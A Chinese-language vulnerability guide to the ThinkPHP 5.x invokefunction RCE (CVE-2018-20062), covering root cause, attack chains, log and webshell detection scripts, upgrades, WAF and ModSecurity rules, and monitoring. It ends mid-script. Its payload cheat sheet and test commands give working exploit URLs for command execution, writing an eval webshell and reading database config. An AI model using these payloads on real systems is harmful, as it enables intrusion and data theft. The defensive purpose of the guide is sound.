【PHP/ThinkPHP】CVE-2018-20062:ThinkPHP 5.x invokefunction RCE漏洞
摘要: 2018 年 12 月 9 日,ThinkPHP 5.x 系列被披露存在一个 CVSS 9.8(CRITICAL)的远程代码执行漏洞,被分配 CVE-2018-20062。该漏洞的根因在于框架对路由解析后的控制器名缺乏足够的合法性校验,在未开启强制路由的默认配置下,攻击者可通过
?s=index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id形式的 URL,调用框架任意类的任意方法,最终通过call_user_func_array执行任意系统命令。利用链短、无需认证、默认配置即可触发,使其成为 ThinkPHP 历史上被攻击最频繁的漏洞——截至 2026 年,仍有大量 Mirai 僵尸网络变种、GoLang 挖矿木马利用该漏洞进行大规模扫描和投递。本文从根因、攻击链、检测、修复到监控自动化,提供完整的实战指南。
1. 漏洞全景概览
1.1 漏洞速览
| 项目 | 详情 |
|---|---|
| CVE 编号 | CVE-2018-20062 |
| 公开日期 | 2018 年 12 月 9 日 |
| 漏洞类型 | 远程代码执行(RCE,CWE-94 代码注入) |
| CVSS v3.0 | 9.8(CRITICAL) |
| CVSS 向量 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE 分类 | CWE-94(Improper Control of Generation of Code) |
| 攻击向量 | 网络(无需认证) |
| 影响组件 | thinkphp/library/think/App.php(路由分发与控制器调用) |
| 影响版本 | ThinkPHP 5.0.7 ~ 5.0.22、5.1.0 ~ 5.1.30 |
| 修复版本 | 5.0.23+、5.1.31+ |
| 利用难度 | 极低(公开 PoC 满天飞,单 URL 即可触发) |
| 在野利用 | 广泛(Mirai、GoLang Miner、Miori 僵尸网络等) |
1.2 同源 RCE 漏洞对比
ThinkPHP 5.x 在 2018-2019 年间集中爆发了多个 RCE 漏洞,它们常被混淆,下表做精确区分:
| 漏洞标识 | CVE 编号 | 影响版本 | 入口参数 | 触发点 | 修复版本 |
|---|---|---|---|---|---|
| 控制器名 RCE(本文) | CVE-2018-20062 | 5.0.7-5.0.22 / 5.1.0-5.1.30 | ?s=index/\think\app/invokefunction |
App.php 控制器名未校验 |
5.0.23 / 5.1.31 |
| Request 类 RCE | CVE-2019-9082 | 5.0.0-5.0.23 / 5.1.x / 5.2.x | _method=__construct&filter[]=system |
Request::method() 未校验 |
5.0.24 / 5.1.31 |
| 文件包含 RCE | CNVD-2019-01092 | 5.0.x / 5.1.x | ?s=index/\think\Lang/load&file=../../test.jpg |
Lang::load() 路径未过滤 |
5.0.24 / 5.1.31 |
| 多语言 RCE | CVE-2022-38352 变种 | 5.1.x(含 5.1.41) | ?lang=../../usr/local/php/pearcmd |
Lang::detect() 路径穿越 |
见 048 篇 |
关键提醒:CVE-2018-20062 在 5.0.23 已修复,但 5.0.23 又被 CVE-2019-9082 击穿,因此 5.0.x 必须升到 5.0.24+,5.1.x 必须升到 5.1.31+,缺一不可。
1.3 漏洞核心特征

2. 漏洞根因深度分析
2.1 ThinkPHP 路由解析机制
ThinkPHP 5.x 支持两种 URL 访问方式:
- PATHINFO 模式:
/index.php/module/controller/action - 兼容模式:
/index.php?s=module/controller/action(默认开启)
兼容模式原本是为不支持 PATHINFO 的服务器设计的,但默认开启后成为攻击入口。当请求 ?s=index/\think\app/invokefunction 时,框架的 Route::parseUrl() 会按 / 分割 pathinfo,得到 ['index', '\think\app', 'invokefunction'],分别对应模块、控制器、方法名。
2.2 根因:控制器名缺乏合法性校验
漏洞代码位于 thinkphp/library/think/App.php 的 module() 方法(5.0.22 及以前版本):
// 漏洞版本 — App.php 简化示意
public static function module($dispatch, $config)
{
// 1. 获取控制器名(直接来自用户输入,未校验)
$controller = strip_tags($dispatch['controller']);
// 2. 关键缺陷:允许反斜杠,导致命名空间注入
// 攻击者传入 \think\app,被解析为 think\App 类
$controller = str_replace('.', '\\', $controller);
// 3. 拼接命名空间
$class = $config['app_namespace'] . '\\' .
$dispatch['module'] . '\\controller\\' .
$controller . 'Controller';
// 4. 但是!think\app 不在用户控制器命名空间下
// 框架又允许直接实例化任意类
// 5. 调用 invokefunction —— 任意函数调用
if (!class_exists($class)) {
// 兼容模式:直接实例化传入的类名
$class = $controller; // ← 这里直接使用了用户输入
}
$instance = new $class();
$action = $dispatch['action']; // invokefunction
// 6. 调用 think\App::invokefunction()
return $instance->$action();
}
think\App::invokefunction() 的实现:
// thinkphp/library/think/App.php
public function invokefunction($function = '', $vars = [])
{
// 关键缺陷:直接调用用户指定的函数,参数也由用户提供
return call_user_func_array($function, $vars);
}
攻击者通过 URL 参数 function=call_user_func_array&vars[0]=system&vars[1][]=id,等价于执行 call_user_func_array('call_user_func_array', [['system', ['id']]]),最终执行 system('id')。
2.3 攻击链分析

2.4 利用条件分析
利用前提(全部满足即可,门槛极低):
1. ✅ 目标使用 ThinkPHP 5.0.7-5.0.22 或 5.1.0-5.1.30
2. ✅ 未开启 `url_route_must`(强制路由)—— 默认即未开启
3. ✅ 未对 `s` 参数做 WAF 拦截 —— 默认无拦截
4. ✅ Web 入口可访问(公网或内网均可)
⚠️ 关键风险点:
- 默认配置即满足利用条件,无需任何业务代码缺陷
- 利用 URL 长度仅 100 字节左右,可绕过部分 WAF
- 反斜杠 `\` 在 URL 中可编码为 `%5C`,绕过基于关键字匹配的 WAF
- 即使 PHP 禁用 `system`,仍可通过 `phpinfo`、`file_put_contents` 写 Webshell
2.5 同源变种 Payload 速查
# 1. 命令执行(最常见)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
# 2. 写入 Webshell
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[1]);?>
# 3. 调用 phpinfo
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
# 4. 读取配置文件(含数据库密码)
?s=index/think\config/get&name=database.username
# 5. 包含任意文件
?s=index/\think\Lang/load&file=../../test.jpg
# 6. 通过 view 渲染执行 PHP 代码
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
3. 攻击场景与影响评估
3.1 攻击流程时序

3.2 典型攻击场景
场景一:互联网暴露的电商老站点
攻击路径:
1. 攻击者用 fofa/quake 语法搜索 "ThinkPHP" 或 "X-Powered-By: ThinkPHP"
2. 命中目标,发送 ?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
3. phpinfo 返回,确认版本为 5.0.22
4. 写入 Webshell:file_put_contents 写入 /var/www/html/.cache.php
5. 蚁剑连接,发现数据库配置含生产库账号密码
6. 横向移动:读取 ~/.ssh/id_rsa,跳板登录内网服务器
场景二:Mirai 僵尸网络批量投递
Trend Micro 2019 年披露,Mirai 变种 Miori 利用 ThinkPHP RCE 大规模传播:
攻击路径:
1. 攻击者控制端扫描公网 80/8080/8888 等端口
2. 对每个目标尝试 ThinkPHP RCE Payload
3. 成功后通过 system() 下载 Mirai 二进制
4. 执行后接入 C2,参与 DDoS 攻击
5. 同一台服务器可能被多个僵尸网络抢占
场景三:挖矿木马投递
F5 Labs 披露的 GoLang 挖矿木马利用链:
攻击路径:
1. 通过 CVE-2018-20062 写入 crontab 定时任务
2. 定时任务从 Pastebin 下载 GoLang 挖矿程序
3. 程序运行后扫描 Class B 内网,继续传播
4. 受害服务器 CPU 100%,业务受损
5. 同时植入 SSH 后门,长期持久化
3.3 影响评估
| 影响维度 | 评估 | 说明 |
|---|---|---|
| 机密性 | 严重 | 可读取任意文件、配置、数据库凭证 |
| 完整性 | 严重 | 可篡改业务数据、写入 Webshell、植入后门 |
| 可用性 | 严重 | 可删除文件、关停服务、CPU 占满 |
| 攻击门槛 | 极低 | 公开 PoC 满天飞,单 URL 即可触发 |
| 利用难度 | 极低 | 无需认证、无需绕过、默认配置可利用 |
| 横向风险 | 极高 | 可读取 SSH 密钥、数据库凭证,横向移动 |
| 修复紧迫度 | 极高 | 在野利用持续 8 年,必须立即修复 |
4. 检测:如何判断是否已被利用
4.1 漏洞利用迹象
| 检测维度 | 异常迹象 | 检测方法 |
|---|---|---|
| 访问日志 | URL 含 invokefunction、s=index/\think |
grep Nginx/Apache access.log |
| POST 数据 | _method=__construct、filter[]=system |
抓取请求体或 WAF 日志 |
| 文件异常 | public 目录出现未知 .php 文件 |
文件完整性监控(FIM) |
| 进程异常 | www-data 用户执行 curl、wget、sh |
进程审计 / auditd |
| 网络外连 | 服务器异常外连 Pastebin、未知 IP | NetFlow / 出站流量监控 |
| CPU 异常 | 突然飙高至 100%,疑似挖矿 | 系统监控 |
| 计划任务 | crontab 出现未知条目 | 检查 /var/spool/cron/ |
| SSH 后门 | ~/.ssh/authorized_keys 异常增长 |
文件完整性监控 |
4.2 日志检测脚本
从 Nginx/Apache 访问日志中快速识别 ThinkPHP RCE 攻击痕迹。
#!/bin/bash
# thinkphp_rce_detect.sh — CVE-2018-20062 攻击日志检测
# 用法: ./thinkphp_rce_detect.sh [日志文件路径]
LOG_FILE="${1:-/var/log/nginx/access.log}"
echo "===== ThinkPHP CVE-2018-20062 攻击检测 ====="
echo "目标日志: $LOG_FILE"
echo ""
# 1. 检查 invokefunction 攻击
echo "[1] invokefunction 攻击检测"
INVOKE_COUNT=$(grep -c "invokefunction" "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$INVOKE_COUNT" -gt 0 ]; then
echo " 🔴 发现 $INVOKE_COUNT 条 invokefunction 攻击记录"
echo " 前 5 条攻击源 IP:"
grep "invokefunction" "$LOG_FILE" | awk '{print $1}' | sort | uniq -c | sort -rn | head -5
else
echo " ✅ 未发现 invokefunction 攻击"
fi
# 2. 检查 \think\ 命名空间注入
echo ""
echo "[2] think 命名空间注入检测"
THINK_COUNT=$(grep -c 'think\\' "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$THINK_COUNT" -gt 0 ]; then
echo " 🔴 发现 $THINK_COUNT 条 think\\ 命名空间注入攻击"
else
echo " ✅ 未发现命名空间注入攻击"
fi
# 3. 检查 _method=__construct 攻击(CVE-2019-9082)
echo ""
echo "[3] _method=__construct 攻击检测"
METHOD_COUNT=$(grep -c "_method=__construct" "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$METHOD_COUNT" -gt 0 ]; then
echo " 🔴 发现 $METHOD_COUNT 条 _method 攻击(CVE-2019-9082)"
else
echo " ✅ 未发现 _method 攻击"
fi
# 4. 检查可疑的 file_put_contents 调用
echo ""
echo "[4] Webshell 写入检测"
SHELL_COUNT=$(grep -c "file_put_contents" "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$SHELL_COUNT" -gt 0 ]; then
echo " 🔴 发现 $SHELL_COUNT 条 Webshell 写入尝试"
echo " 可疑文件:"
grep "file_put_contents" "$LOG_FILE" | grep -oP "vars\[1\]\[\]=[^&]+" | sort -u | head -10
else
echo " ✅ 未发现 Webshell 写入"
fi
# 5. 检查 phpinfo 探测
echo ""
echo "[5] phpinfo 探测检测"
PHPINFO_COUNT=$(grep -c "function=phpinfo" "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$PHPINFO_COUNT" -gt 0 ]; then
echo " ⚠️ 发现 $PHPINFO_COUNT 条 phpinfo 探测"
else
echo " ✅ 未发现 phpinfo 探测"
fi
echo ""
echo "===== 检测完成 ====="
4.3 Webshell 排查脚本
被攻击后的服务器需要排查是否已被植入持久化后门。
#!/bin/bash
# webshell_scan.sh — ThinkPHP 站点 Webshell 排查
# 用法: ./webshell_scan.sh [Web根目录]
WEB_ROOT="${1:-/var/www/html}"
echo "===== ThinkPHP Webshell 排查 ====="
echo "扫描目录: $WEB_ROOT"
echo ""
# 1. 扫描可疑 PHP 文件
echo "[1] 可疑 PHP 文件扫描"
echo " 最近 7 天修改的 PHP 文件:"
find "$WEB_ROOT" -name "*.php" -mtime -7 -type f 2>/dev/null | head -20
# 2. 扫描典型 Webshell 特征
echo ""
echo "[2] Webshell 特征扫描"
echo " 包含 eval/base64/assert 的文件:"
grep -rlE "(eval\s*\(|base64_decode\s*\(|assert\s*\(|preg_replace.*/e)" "$WEB_ROOT" --include="*.php" 2>/dev/null | head -20
# 3. 扫描隐藏文件
echo ""
echo "[3] 隐藏文件扫描"
find "$WEB_ROOT" -name ".*.php" -type f 2>/dev/null
find "$WEB_ROOT" -name ".cache*" -type f 2>/dev/null
# 4. 检查 public 目录异常文件
echo ""
echo "[4] public 目录异常文件"
if [ -d "$WEB_ROOT/public" ]; then
find "$WEB_ROOT/public" -type f \( -name "*.php" -o -name "*.phtml" -o -name ".htaccess" \) 2>/dev/null | \
grep -vE "(index.php|router.php|think.php)" | head -20
fi
# 5. 检查 crontab
echo ""
echo "[5] 异常 crontab 检测"
for user in www-data nginx apache; do
CRON_FILE="/var/spool/cron/crontabs/$user"
if [ -f "$CRON_FILE" ]; then
echo " $user 的 crontab:"
cat "$CRON_FILE"
fi
done
# 6. 检查 SSH authorized_keys
echo ""
echo "[6] SSH 后门检测"
for home in /home/* /root; do
AUTH_KEYS="$home/.ssh/authorized_keys"
if [ -f "$AUTH_KEYS" ]; then
KEY_COUNT=$(wc -l < "$AUTH_KEYS")
echo " $AUTH_KEYS: $KEY_COUNT 个公钥"
fi
done
echo ""
echo "===== 扫描完成 ====="
4.4 版本自查脚本
批量检查所有 ThinkPHP 实例版本,识别受影响范围。
#!/bin/bash
# thinkphp_version_check.sh — 批量 ThinkPHP 版本自查
# 用法: 将站点列表写入 thinkphp_hosts.txt,每行一个 URL
VULN=false
while IFS= read -r url; do
[ -z "$url" ] && continue
echo "检查: $url"
# 通过 X-Powered-By 头识别
POWERED=$(curl -sI -m 5 "$url" 2>/dev/null | grep -i "X-Powered-By" | tr -d '\r')
# 通过 composer.json 或常量识别版本
VERSION=$(curl -s -m 5 "$url/?s=index/think\config/get&name=version" 2>/dev/null | grep -oP 'version.*?[\d.]+' | head -1)
if [ -n "$VERSION" ]; then
MAJOR=$(echo "$VERSION" | cut -d. -f1)
MINOR=$(echo "$VERSION" | cut -d. -f2)
PATCH=$(echo "$VERSION" | cut -d. -f3)
AFFECTED=false
if [ "$MAJOR" = "5" ] && [ "$MINOR" = "0" ] && [ "$PATCH" -lt 24 ] 2>/dev/null; then
AFFECTED=true
elif [ "$MAJOR" = "5" ] && [ "$MINOR" = "1" ] && [ "$PATCH" -lt 31 ] 2>/dev/null; then
AFFECTED=true
fi
if [ "$AFFECTED" = true ]; then
echo " 🔴 版本 $VERSION ⚠️ 受 CVE-2018-20062 影响"
VULN=true
else
echo " 🟢 版本 $VERSION ✅ 已修复"
fi
else
echo " ⚠️ 无法识别版本,请手动检查"
fi
done < thinkphp_hosts.txt
if [ "$VULN" = true ]; then
echo ""
echo "⚠️ 发现受影响实例,请立即升级到 5.0.24+/5.1.31+!"
fi
5. 修复方案
5.1 升级 ThinkPHP(推荐)
升级到修复版本是最彻底的解决方案,能同时修复 CVE-2018-20062、CVE-2019-9082 等同源漏洞。
修复版本对照表:
| 版本线 | 受影响范围 | 修复版本 |
|---|---|---|
| ThinkPHP 5.0.x | 5.0.7 - 5.0.22 | 5.0.24+(注意不是 5.0.23,5.0.23 仍受 CVE-2019-9082 影响) |
| ThinkPHP 5.1.x | 5.1.0 - 5.1.30 | 5.1.31+ |
通过 Composer 升级(推荐):
# 进入项目根目录
cd /var/www/your-thinkphp-project
# 备份当前 composer.json
cp composer.json composer.json.bak
# 方案 1:升级到 5.0.24(5.0 线最后修复版本)
composer require topthink/framework:^5.0.24 --update-with-all-dependencies
# 方案 2:升级到 5.1.31(5.1 线修复版本)
composer require topthink/framework:^5.1.31 --update-with-all-dependencies
# 验证版本
php think version
# 预期输出: 5.0.24 或 5.1.31
# 验证修复:尝试发送 PoC(应返回 404 或拦截)
curl "http://localhost/?s=index/\\think\\app/invokefunction&function=phpinfo&vars[0]=1"
# 预期: controller not exists: \think\app
手动升级(无 Composer 环境):
# 1. 下载修复版本
wget https://github.com/top-think/framework/archive/refs/tags/v5.1.31.tar.gz
tar xzf v5.1.31.tar.gz
# 2. 备份原框架目录
cp -r thinkphp thinkphp.bak.$(date +%Y%m%d)
# 3. 替换框架核心
cp -rf framework-5.1.31/thinkphp/* thinkphp/
# 4. 清理缓存
rm -rf runtime/cache/*
rm -rf runtime/temp/*
# 5. 验证
php think version
升级后验证:
# 1. 版本验证
php think version
# 预期: v5.0.24 或 v5.1.31
# 2. PoC 验证(应被拦截)
curl -i "http://localhost/?s=index/\\think\\app/invokefunction&function=phpinfo&vars[0]=1"
# 预期: HTTP 404 或 "controller not exists"
# 3. 业务回归测试
# 跑核心业务接口用例,确保升级未破坏兼容性
5.2 临时缓解措施(无法立即升级时)
5.2.1 开启强制路由(强烈推荐)
开启
url_route_must后,框架只接受在route.php中注册过的路由,未注册的 URL 一律 404,从根本上消除命名空间注入。
// config.php
'url_route_must' => true, // 强制路由
'url_route_on' => false, // 关闭动态路由
注意:开启前需确保所有业务路由已在 route/route.php 中注册,否则业务会 404。建议先在测试环境验证。
5.2.2 入口文件拦截危险参数
在
public/index.php入口处拦截危险参数,作为兜底防护。
// public/index.php — 在 require thinkphp/start.php 之前添加
// 拦截 ThinkPHP RCE 攻击参数
$danger_patterns = [
'/\\\\think\\\\/i', // \think\ 命名空间注入
'/invokefunction/i', // invokefunction 调用
'/_method\s*=\s*__construct/i', // _method 攻击
'/filter\s*\[\s*\]\s*=/i', // filter[] 参数
];
// 检查 $_GET
foreach ($danger_patterns as $pattern) {
foreach ($_GET as $key => $value) {
if (is_string($value) && preg_match($pattern, $key . '=' . $value)) {
http_response_code(403);
die('Illegal request');
}
}
}
// 检查 $_POST
foreach ($danger_patterns as $pattern) {
foreach ($_POST as $key => $value) {
if (is_string($value) && preg_match($pattern, $key . '=' . $value)) {
http_response_code(403);
die('Illegal request');
}
}
}
// 检查 s 参数(兼容模式)
if (isset($_GET['s']) && preg_match('/\\\\think\\\\|invokefunction/i', $_GET['s'])) {
http_response_code(403);
die('Illegal request');
}
5.2.3 Nginx 层 WAF 规则
在 Nginx 层拦截,比 PHP 入口更早,性能开销更小。
# /etc/nginx/conf.d/thinkphp-waf.conf
# 拦截 ThinkPHP RCE 攻击
if ($request_uri ~* "(\\\\think\\\\|invokefunction|_method=__construct)") {
return 403;
}
# 拦截 s 参数中的反斜杠
if ($arg_s ~* "(\\\\think|invokefunction|think\\\\)") {
return 403;
}
# 拦截 POST 体中的 _method 攻击(需配合 lua-nginx-module)
# 推荐使用 OpenResty + lua 做更精细的检测
5.2.4 ModSecurity 规则
ModSecurity 可对请求体做深度检测,比 Nginx if 更强大。
# /etc/modsecurity/rules/thinkphp-rce.conf
# 规则 1: 拦截 \think\ 命名空间注入
SecRule ARGS|REQUEST_URI "@rx (?i)\\\\think\\\\" \
"id:100001,phase:2,deny,status:403,log,msg:'ThinkPHP RCE Attack - Namespace Injection'"
# 规则 2: 拦截 invokefunction 调用
SecRule ARGS|REQUEST_URI "@rx (?i)invokefunction" \
"id:100002,phase:2,deny,status:403,log,msg:'ThinkPHP RCE Attack - invokefunction'"
# 规则 3: 拦截 _method=__construct
SecRule ARGS|REQUEST_URI "@rx (?i)_method\s*=\s*__construct" \
"id:100003,phase:2,deny,status:403,log,msg:'ThinkPHP RCE Attack - _method construct'"
# 规则 4: 拦截 filter[]=system 等
SecRule ARGS|REQUEST_URI "@rx (?i)filter\s*\[\s*\]\s*=\s*(system|exec|passthru|shell_exec|popen|proc_open)" \
"id:100004,phase:2,deny,status:403,log,msg:'ThinkPHP RCE Attack - filter command'"
5.3 加固建议
5.3.1 控制器名白名单
即使升级后,也建议增加白名单校验,作为纵深防御。
// app/Common.php — 控制器名白名单校验
namespace app;
use think\Request;
class Common
{
// 允许的控制器命名空间前缀
private static $allowedNamespaces = [
'app\\index\\controller\\',
'app\\admin\\controller\\',
'app\\api\\controller\\',
];
/**
* 校验控制器名是否合法
* 防止 \think\ 等命名空间注入
*/
public static function validateController(Request $request)
{
// 获取控制器名
$controller = $request->controller();
// 必须是字母数字下划线
if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]*$/', $controller)) {
throw new \think\exception\HttpException(404, 'controller not found');
}
// 反斜杠检测
if (strpos($controller, '\\') !== false) {
throw new \think\exception\HttpException(404, 'controller not found');
}
}
}
// 在 app/middleware.php 中注册中间件
return [
\app\Common::class . '@validateController',
];
5.3.2 PHP 危险函数禁用
即使被攻破,禁用危险函数也能限制攻击者的横向移动能力。
; /etc/php/8.x/fpm/php.ini
; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; 如果业务不需要这些函数,也建议禁用
disable_functions .= ,eval,assert ; 注意 PHP 8+ 中 eval 不是函数无法禁用,需通过 Suhosin 扩展
; 禁用危险类
disable_classes = ReflectionClass,ReflectionFunction
; 限制 open_basedir
open_basedir = /var/www/your-project/:/tmp/
; 禁用远程文件包含
allow_url_include = Off
allow_url_fopen = Off
5.3.3 文件权限加固
# Web 目录权限加固
# 原则:PHP-FPM 用户对 Web 根目录只读,仅 runtime/ 可写
# 1. 设置 Web 根目录所有者
chown -R root:root /var/www/your-project
chown -R www-data:www-data /var/www/your-project/runtime
# 2. 设置目录权限
find /var/www/your-project -type d -exec chmod 755 {} \;
find /var/www/your-project -type f -exec chmod 644 {} \;
# 3. runtime 目录可写但不可执行
chmod 750 /var/www/your-project/runtime
# 通过 Nginx 配置禁止访问 runtime 目录
# Nginx 禁止访问敏感目录
location ~ ^/(runtime|thinkphp|application|extend|vendor)/ {
deny all;
return 403;
}
# 禁止访问 .php 文件在 public 之外
location ~ \.php$ {
# 仅允许 public 目录下的 PHP 文件执行
if ($request_uri !~ ^/index\.php) {
# 其他入口需要白名单
}
fastcgi_pass unix:/run/php/php8.x-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
6. 踩坑记录
6.1 升级 5.1.31 后业务 500 错误
现象:
升级到 5.1.31 后,部分接口返回 500 错误,日志显示 "controller not exists: app\index\controller\xxx"
根因:
5.1.31 加强了控制器名校验,禁止包含反斜杠、点号等特殊字符。
原业务代码中存在 controller('user.index') 这类调用,被新版本拒绝。
解决:
1. 全局搜索 ->controller('xxx.xxx') 改为 ->controller('xxx')
2. 业务代码中按命名空间规范定义控制器
3. 增加单元测试覆盖控制器调用
教训:
升级前必须在测试环境跑全量业务用例。
6.2 WAF 拦截规则误伤正常业务
现象:
配置 WAF 规则 "拦截 \think\" 后,业务接口 /api/think/create 返回 403。
根因:
WAF 规则匹配过于宽松,正常业务路径中的 "think" 关键字被误判。
解决:
1. WAF 规则改为精确匹配反斜杠:\\\\think\\\\
2. 增加白名单:/api/think/ 是正常业务,单独放行
3. 规则改为:仅当 URI 同时包含 \think\ 和 invokefunction 时拦截
教训:
WAF 规则要精确匹配攻击特征,避免单关键字误伤。
6.3 Composer 升级失败:依赖冲突
现象:
执行 composer require topthink/framework:^5.1.31 时报错:
"Your requirements could not be resolved to an installable set of packages."
根因:
项目中使用了第三方包 xxx-cms/dev,依赖 topthink/framework:^5.1.20,
与 5.1.31 不兼容。
解决:
1. 检查依赖:composer why topthink/framework
2. 升级第三方包:composer update xxx-cms/dev
3. 若第三方包停止维护,fork 后自行修复
4. 极端情况:fork framework,将补丁 backport 到 5.1.20
教训:
长期不升级的项目会积累依赖债,建议每季度跑一次 composer outdated。
6.4 5.0.x 升级到 5.0.24 后仍被攻击
现象:
升级到 5.0.24 后,安全扫描仍报告 ThinkPHP RCE 漏洞。
根因:
扫描器同时检测 CVE-2018-20062 和 CVE-2019-9082。
5.0.24 修复了 CVE-2018-20062,但 _method=__construct 攻击仍可利用。
解决:
1. 同时升级到 5.0.24+(已修复 CVE-2019-9082)
2. 确认 composer.lock 中确实是 5.0.24
3. 清理 opcache:systemctl reload php8.x-fpm
4. 复测:curl -X POST -d '_method=__construct&filter[]=system&server[REQUEST_METHOD]=id' http://localhost/
教训:
ThinkPHP 5.x 有多个同源 RCE,必须升级到最新修复版本,而非中间版本。
运维监控与自动化保障
监控项设计
| 监控项 | Prometheus 指标 | 告警阈值 | 检测频率 |
|---|---|---|---|
| ThinkPHP 版本 | thinkphp_version_info |
版本 < 5.0.24 / 5.1.31 | 每小时 |
| invokefunction 攻击次数 | thinkphp_attack_total{type="invokefunction"} |
5 分钟内 > 10 次 | 实时 |
| 命名空间注入攻击 | thinkphp_attack_total{type="namespace_injection"} |
5 分钟内 > 5 次 | 实时 |
| Webshell 写入尝试 | thinkphp_attack_total{type="webshell_write"} |
任意一次即告警 | 实时 |
| PHP 异常退出 | php_fpm_exit_status |
非 0 退出 | 实时 |
| Web 根目录文件变更 | web_file_change_total |
1 小时内 > 5 个 | 实时 |
| 服务器异常外连 | outbound_connection_total{dest="unknown"} |
5 分钟内 > 3 次 | 实时 |
Prometheus 告警规则
# /etc/prometheus/rules/thinkphp-rce.yml
groups:
- name: thinkphp-rce
rules:
# 规则 1: ThinkPHP 版本过低
- alert: ThinkPHPOutdatedVersion
expr: thinkphp_version_info{version!~"5\\.(0\\.(2[4-9]|[3-9][0-9])|1\\.(3[1-9]|[4-9][0-9]))"} == 1
for: 1h
labels:
severity: critical
cve: CVE-2018-20062
annotations:
summary: "ThinkPHP 版本过低,存在 CVE-2018-20062 风险"
description: "实例 {{ $labels.instance }} 当前版本 {{ $labels.version }},请升级到 5.0.24+/5.1.31+"
# 规则 2: invokefunction 攻击
- alert: ThinkPHPInvokefunctionAttack
expr: increase(thinkphp_attack_total{type="invokefunction"}[5m]) > 10
for: 1m
labels:
severity: critical
cve: CVE-2018-20062
annotations:
summary: "检测到 invokefunction 攻击"
description: "实例 {{ $labels.instance }} 5 分钟内收到 {{ $value }} 次 invokefunction 攻击"
# 规则 3: 命名空间注入攻击
- alert: ThinkPHPNamespaceInjection
expr: increase(thinkphp_attack_total{type="namespace_injection"}[5m]) > 5
for: 1m
labels:
severity: critical
cve: CVE-2018-20062
annotations:
summary: "检测到 \\think\\ 命名空间注入攻击"
description: "实例 {{ $labels.instance }} 5 分钟内收到 {{ $value }} 次命名空间注入攻击"
# 规则 4: Webshell 写入尝试
- alert: ThinkPHPWebshellWrite
expr: increase(thinkphp_attack_total{type="webshell_write"}[1m]) > 0
for: 0s
labels:
severity: critical
cve: CVE-2018-20062
annotations:
summary: "检测到 Webshell 写入尝试"
description: "实例 {{ $labels.instance }} 检测到 file_put_contents 写入 PHP 文件的攻击"
# 规则 5: Web 根目录文件异常变更
- alert: WebRootFileChange
expr: increase(web_file_change_total[1h]) > 5
for: 5m
labels:
severity: warning
annotations:
summary: "Web 根目录文件异常变更"
description: "实例 {{ $labels.instance }} 1 小时内有 {{ $value }} 个文件被修改,可能是 Webshell 植入"
# 规则 6: 服务器异常外连
- alert: SuspiciousOutboundConnection
expr: increase(outbound_connection_total{dest="unknown"}[5m]) > 3
for: 2m
labels:
severity: critical
annotations:
summary: "检测到服务器异常外连"
description: "实例 {{ $labels.instance }} 5 分钟内有 {{ $value }} 次到未知目标的外连,可能是 C2 通信"
自动化巡检脚本
#!/bin/bash
# thinkphp_security_patrol.sh — ThinkPHP 安全巡检
# 用法: 由 crontab 每日执行
# 功能: 版本检查 + 攻击日志分析 + Webshell 扫描 + 报告推送
THINKPHP_ROOT="${1:-/var/www/html}"
LOG_DIR="/var/log/nginx"
REPORT_FILE="/tmp/thinkphp_patrol_$(date +%Y%m%d).log"
ALERT_EMAIL="${ALERT_EMAIL:-ops@example.com}"
echo "===== ThinkPHP 安全巡检报告 $(date) =====" > "$REPORT_FILE"
echo "项目根目录: $THINKPHP_ROOT" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"
# 1. 版本检查
echo "[1] ThinkPHP 版本检查" >> "$REPORT_FILE"
VERSION_FILE="$THINKPHP_ROOT/thinkphp/base.php"
if [ -f "$VERSION_FILE" ]; then
VERSION=$(grep -oP "THINK_VERSION.*?[\d.]+" "$VERSION_FILE" | head -1)
echo " 当前版本: $VERSION" >> "$REPORT_FILE"
# 检查是否受影响
MAJOR=$(echo "$VERSION" | grep -oP '\d+' | head -1)
MINOR=$(echo "$VERSION" | grep -oP '\d+' | sed -n '2p')
PATCH=$(echo "$VERSION" | grep -oP '\d+' | sed -n '3p')
if [ "$MAJOR" = "5" ]; then
if [ "$MINOR" = "0" ] && [ "$PATCH" -lt 24 ] 2>/dev/null; then
echo " 🔴 严重: 版本受 CVE-2018-20062 影响,请升级到 5.0.24+" >> "$REPORT_FILE"
SEVERITY=critical
elif [ "$MINOR" = "1" ] && [ "$PATCH" -lt 31 ] 2>/dev/null; then
echo " 🔴 严重: 版本受 CVE-2018-20062 影响,请升级到 5.1.31+" >> "$REPORT_FILE"
SEVERITY=critical
else
echo " ✅ 版本已修复" >> "$REPORT_FILE"
fi
fi
else
echo " ⚠️ 无法找到版本文件" >> "$REPORT_FILE"
fi
echo "" >> "$REPORT_FILE"
# 2. 攻击日志分析(最近 24 小时)
echo "[2] 攻击日志分析(最近 24 小时)" >> "$REPORT_FILE"
TODAY_LOG="$LOG_DIR/access.log"
if [ -f "$TODAY_LOG" ]; then
ATTACK_COUNT=$(grep -cE "(invokefunction|\\\\think\\\\|_method=__construct)" "$TODAY_LOG" 2>/dev/null || echo 0)
echo " 攻击次数: $ATTACK_COUNT" >> "$REPORT_FILE"
if [ "$ATTACK_COUNT" -gt 0 ]; then
echo " 攻击源 IP TOP 5:" >> "$REPORT_FILE"
grep -E "(invokefunction|\\\\think\\\\|_method=__construct)" "$TODAY_LOG" | \
awk '{print $1}' | sort | uniq -c | sort -rn | head -5 >> "$REPORT_FILE"
SEVERITY=${SEVERITY:-warning}
fi
fi
echo "" >> "$REPORT_FILE"
# 3. Webshell 扫描
